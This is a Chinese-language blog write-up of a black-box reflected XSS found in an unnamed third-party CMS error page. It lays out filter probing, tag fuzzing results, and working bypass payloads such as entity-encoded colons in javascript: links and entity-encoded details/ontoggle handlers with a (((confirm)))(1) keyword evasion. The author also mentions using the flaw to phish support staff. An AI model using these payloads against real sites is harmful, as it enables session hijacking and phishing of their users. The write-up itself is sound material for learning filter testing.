黑盒的魅力 - 记录一次XSS攻击

0x01 胡乱一点

测试项目业务,无意一顿乱点触发了这么一个接口:

/client/common/error?errcode=500&errmsg=

是个第三方cms,大家可能能看出来是啥cms 当我输入

/client/common/error?errcode=500&errmsg=testest

发现页面输出了我们的testtest:

输出源码:

<div class="scan-login-tips">testtest</div>

0x02 尝试输入Payload:

asdasdasd"</>asdasdasd'/asdasdasd'

输出源码:

<div class="scan-login-tips">asdasdasd"asdasdasd'/asdasdasd'</div>

发现过滤了<>,按理说我应该放弃的,但是我当手贱输入了:

"><img src=1>

发现执行了图片,那就说明图片解析了,那我们输入

<img src=1 onerror=alert(1)>

不就可以xss了?

0x03 我们来试试？

把我们过滤掉了，我们混淆下, 输入:

<img src=1 xxx>

我们再次混淆下:

<xxx img/src/xxx>

已经彻底没有img src的身影了, 说明他这里的过滤器规则就是只允许<img data-original="图片地址" src="">去加载一张图片

可以输入：

<img src=javascript:alert(1)>

来尝试能否xss,但是我并没有这样做,因为这样的弹窗只能在IE浏览器6.0下,几乎没有任何利用价值,还没有我外部加载一张色情图片价值大.

前情回顾:直接输入<>会被过滤的一干二净,而输入<img src=1>会有记录:

我们输入图片没被过滤,是因为我们的标签是合法的,对程序来说,是无害的,命中了,那么顺藤摸瓜,跑一下html标签吧!

发现可用的标签只有:

18    <a href="123">123</a>    200    false    false    1193  
5    <link>                    200    false    false    1188  
24    <img src=1>    200    false    false    1187    
25    <img/src=1>    200    false    false    1187    
12    <em>123</em>    200    false    false    1184    
11    <i>123</i>    200    false    false    1182    
17    <a>123</a>    200    false    false    1182    

其中<img src=1>已经测试过了,只能让我传送图片,后续又对其他的标签测试,都不能空格分割输入我们的事件,那么我们最后的希望<a>标签

尝试输入:

<a href="javascript:alert(1)">1111</a>

发现被转换了:

<div class="scan-login-tips">a<a href="＂ｊａｖａｓｃｒｉｐｔ：ａｌｅｒｔ（１）＂">1111</a></div>

对我们的输入做了处理,我们稍微变形下,看看这是全局的中文编码处理,还是关键字处理:

输入:

<a href="jav1scrip1:123">1111</a>

发现即使是混淆了javascript,会强制转换成#,去掉冒号其后面的数据再次输入:

a<a%20href="jav1scrip1">1111</a>

通过源码观察发现,如果我不输冒号(:),他就不会对我们的输入进行强转和安全编码,那么我们可以对冒号(:)进行编码:

输入:

<a href="javascript&colon;alert(1)">1111</a>

提示了系统错误,为什么是系统错误呢?

因为我们的本意是输入:,他是一个实体字符,但是浏览器上直接输入&,会认为colon;***这一串,是我们的参数,这时候应该怎么做?

对&特殊字符url编码成%26:

我们再次输入payload:

<a href="javascript%26colon;alert(1)">1111</a>

发现我们的前缀都落地了,唯独alert触发关键字被编码了,我们输入个无害的关键字试试:

<a href="javascript%26colon;aaaa">1111</a>

发现没被特殊编码处理,好了,我们尝试换个关键字,我们遵循一个原则,能用简单的方法绕过,就不要尝试高深复杂的,依次递增绕过难度:

尝试输入:

a<a%20href="javascript%26colon;(((confirm)))(1)">1111</a>

可以绕过的方法太多了,提供一种:

点击页面的111,从而触发xss:

好了,我们实现了第一步xss弹窗,但是很鸡肋有没有? 需要我们被动点击,这个漏洞对我们来说价值变低了,如果拿去钓鱼,还得诱骗客服点击两次,要求点击一次的xss反射xss可以吗??

但是信任标签就这几个了,这条路断掉了。

0x04 新的征程

我能不能通过实体编码,达成输出我们的恶意payload,我们来试试,黑盒多次发现:

我们换个payload:

asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;img src=1%26gt;

不要再问&为什么要编码处理,前面有讲! 查看输出:

具体源码:

<div class="scan-login-tips">asdasasdasdasd'/asdas'""<img src="1"></div>

我开始继续改造一步到位: 用一个前几年的万金油payload,工作电脑没什么xss payload

尝试输入:

asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;details/open/ontoggle=alert(1)%26gt;

对应输出:

<div class="scan-login-tips">asdasasdasdasd'/asdas'""<details open="" ontoggle="ａｌｅｒｔ（１）"></details></div>

对alert(1)进行处理了使用前面的bypass payload:(((confirm)))(1)

最后一次改造我们的输入:

asdas<dasd</>asdasdasd%27/asdas%27"%26quot;%26lt;details/open/ontoggle=(((confirm)))(1)%26gt;

浏览器输入运行:直接命中了

0x05 结尾

在墨滴平台编辑的时候，发现我们的代码居然成功的Self-XSS，具体是什么代码？师傅们自行探索吧！